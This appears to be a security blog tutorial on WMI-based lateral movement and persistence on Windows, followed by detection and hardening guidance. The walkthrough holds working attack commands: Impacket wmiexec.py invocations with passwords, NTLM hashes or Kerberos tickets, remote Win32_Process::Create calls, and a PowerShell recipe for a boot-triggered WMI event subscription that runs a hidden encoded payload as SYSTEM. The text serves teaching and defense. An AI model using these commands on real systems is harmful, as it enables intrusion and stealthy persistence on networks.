Lateral Movement and Persistence with WMI

Windows Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

Disclaimer: This article is written for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Windows Management Instrumentation (WMI) is Microsoft's implementation of WBEM/CIM and ships enabled on every modern Windows host. Because it is a legitimate, signed, and ubiquitous management surface, it is one of the most attractive primitives for adversaries who want to "live off the land" — move laterally and persist without dropping obvious malware.

In this post you will learn:

  • How WMI remoting works over DCOM/RPC and why Win32_Process::Create enables remote code execution.
  • Hands-on lateral movement with wmiexec.py from Impacket.
  • Building a fileless persistence mechanism using a permanent WMI event subscription.
  • How a blue team detects and neutralizes both techniques.

This pairs well with my notes on Pass-the-Hash and NTLM relaying and Kerberos delegation abuse.

How It Works / Background

WMI exposes managed objects ("classes") that you can query (WQL), instantiate, and invoke methods on. Remote WMI uses DCOM over RPC: the client connects to the RPC endpoint mapper on TCP 135, negotiates, then communicates over a dynamically allocated high port (or 445 when WMI is tunneled differently). Authentication is standard Windows auth — NTLM or Kerberos — so any credential material (password, NT hash, or ticket) that grants local admin works.

Two mechanisms matter for offense:

  1. Win32_Process::Create — a method on the Win32_Process class that spawns a process on the target with the caller's privileges. This is the engine behind WMI-based remote command execution (MITRE ATT&CK T1047).
  2. Permanent WMI event subscriptions — a triple of __EventFilter (the trigger), CommandLineEventConsumer/ActiveScriptEventConsumer (the action), and a __FilterToConsumerBinding (the glue). These are stored in the root\subscription namespace inside the WMI repository (%SystemRoot%\System32\wbem\Repository) and survive reboots — fileless persistence (MITRE ATT&CK T1546.003).

Prerequisites / Lab Setup

  • A Linux attacker box with Impacket installed (pipx install impacket).
  • A Windows target where you hold local administrator credentials (lateral movement and creating subscriptions both require admin).
  • The WMI/DCOM service (Winmgmt) running — it is by default.
  • Network reachability to TCP 135 and the dynamic RPC range (or 445).

Verify Impacket is present:

wmiexec.py -h
python3 -c "import impacket; print(impacket.__version__)"

Attack Walkthrough / PoC

1. Lateral movement with wmiexec.py

wmiexec.py calls Win32_Process::Create to launch cmd.exe, captures output via an SMB share (by default ADMIN$), and gives you a semi-interactive shell. No service is installed (unlike psexec.py), which makes it quieter.

Password authentication:

wmiexec.py 'CORP/jdoe:Summer2026!@10.10.10.25'

Pass-the-Hash (NTLM hash, no plaintext password needed):

wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 'CORP/Administrator@10.10.10.25'

Pass-the-Ticket with Kerberos (uses a cached TGT in KRB5CCNAME):

export KRB5CCNAME=/tmp/administrator.ccache
wmiexec.py -k -no-pass 'CORP/Administrator@dc01.corp.local'

To avoid touching disk with the temporary output file, use -nooutput and run blind, or specify a custom share:

wmiexec.py -nooutput 'CORP/jdoe:Summer2026!@10.10.10.25' "whoami /all"

The native PowerShell equivalent (useful when you are already on a foothold host) is:

$cred = Get-Credential CORP\jdoe
Invoke-WmiMethod -ComputerName 10.10.10.25 -Class Win32_Process `
  -Name Create -ArgumentList "powershell -enc <base64>" -Credential $cred

Or with the newer CIM cmdlets over WSMan:

$s = New-CimSession -ComputerName 10.10.10.25 -Credential $cred
Invoke-CimMethod -CimSession $s -ClassName Win32_Process -MethodName Create `
  -Arguments @{ CommandLine = "cmd /c calc.exe" }

2. Fileless persistence via a WMI event subscription

The classic recipe: trigger a payload roughly five minutes after every boot using a __EventFilter bound to the system uptime, executed by a CommandLineEventConsumer. Run the following in an elevated PowerShell session on the target (or push it remotely via the lateral movement above).

# 1. Event filter: fires ~200-320s after Win32_PerfFormattedData_PerfOS_System loads
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "BootCheck"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " +
            "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " +
            "AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
}

# 2. Consumer: the action to run
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "BootCheckConsumer"
    CommandLineTemplate = "powershell.exe -nop -w hidden -enc <base64-payload>"
}

# 3. Binding: connect filter to consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}

CommandLineEventConsumer runs as SYSTEM when triggered by a system-level event, which is the reason this technique is so prized. Tools like PowerSploit's Persistence.psm1 and SharpWMI automate the same primitives.

Enumerate existing subscriptions (your hunt query too):

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

Clean removal during a real engagement:

Get-WmiObject __EventFilter -Namespace root\subscription -Filter "Name='BootCheck'" | Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -Filter "Name='BootCheckConsumer'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Remove-WmiObject

Attack Flow Diagram

Lateral Movement and Persistence with WMI diagram 1

Text summary: the attacker authenticates over DCOM/RPC, invokes Win32_Process::Create for execution, then writes a filter/consumer/binding triple into root\subscription so the payload re-runs as SYSTEM on every boot.

Detection & Defense (Blue Team)

WMI abuse is detectable — it just requires the right telemetry. Treat these defenses with the same priority as the offense above.

Logging and hunting

  • Enable the WMI-Activity/Operational event log (Microsoft-Windows-WMI-Activity/Operational). Event ID 5861 records new permanent event consumer bindings — a high-fidelity persistence signal.
  • Deploy Sysmon and watch for the dedicated WMI events: 19 (WmiEventFilter), 20 (WmiEventConsumer), and 21 (WmiEventConsumerToFilter). Any of these outside a change window deserves investigation.
  • For lateral movement, correlate parent process WmiPrvSE.exe spawning cmd.exe/powershell.exe (Sysmon Event ID 1). Legitimate processes rarely have WmiPrvSE.exe as a parent.
  • Monitor process creation for wmic.exe with process call create, and PowerShell Invoke-WmiMethod / Invoke-CimMethod against Win32_Process.

Example Splunk-style hunt for suspicious WMI process spawns:

index=sysmon EventCode=1 ParentImage="*\\WmiPrvSE.exe"
  Image IN ("*\\cmd.exe","*\\powershell.exe","*\\rundll32.exe","*\\mshta.exe")
| stats count by Computer, User, CommandLine

Audit the subscription namespace on a schedule and diff results:

Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
  Select-Object @{n='Filter';e={$_.Filter}}, @{n='Consumer';e={$_.Consumer}}

Hardening and reduction

  • Restrict remote WMI/DCOM. Block inbound TCP 135 and the dynamic RPC range at the host firewall except from designated management subnets. This kills remote wmiexec.py.
  • Tighten DCOM/WMI namespace permissions so only required admins can connect remotely (dcomcnfg, and WMI Control → Security per namespace).
  • Limit local admin sprawl. WMI lateral movement requires local admin; enforce LAPS, tiered administration, and Protected Users / credential isolation to blunt Pass-the-Hash.
  • Application control (WDAC / AppLocker) to constrain what WmiPrvSE.exe-spawned children can execute.
  • Forward all of the above logs to a SIEM; the WMI-Activity log and Sysmon 19-21 are the highest-value, lowest-noise detections for this entire technique class.

For broader credential-theft defenses that feed these attacks, see Mimikatz and credential protection.

Conclusion

WMI is powerful precisely because it is built in, signed, and trusted. Win32_Process::Create turns valid admin credentials into remote execution, and permanent event subscriptions turn that execution into resilient, fileless SYSTEM persistence. The good news for defenders is that WMI activity is well-instrumented: enabling the WMI-Activity/Operational log and Sysmon's WMI events, plus restricting remote DCOM and local-admin reuse, closes most of the gap. Offense and defense here are two sides of the same telemetry.

References

Comments

Copied title and URL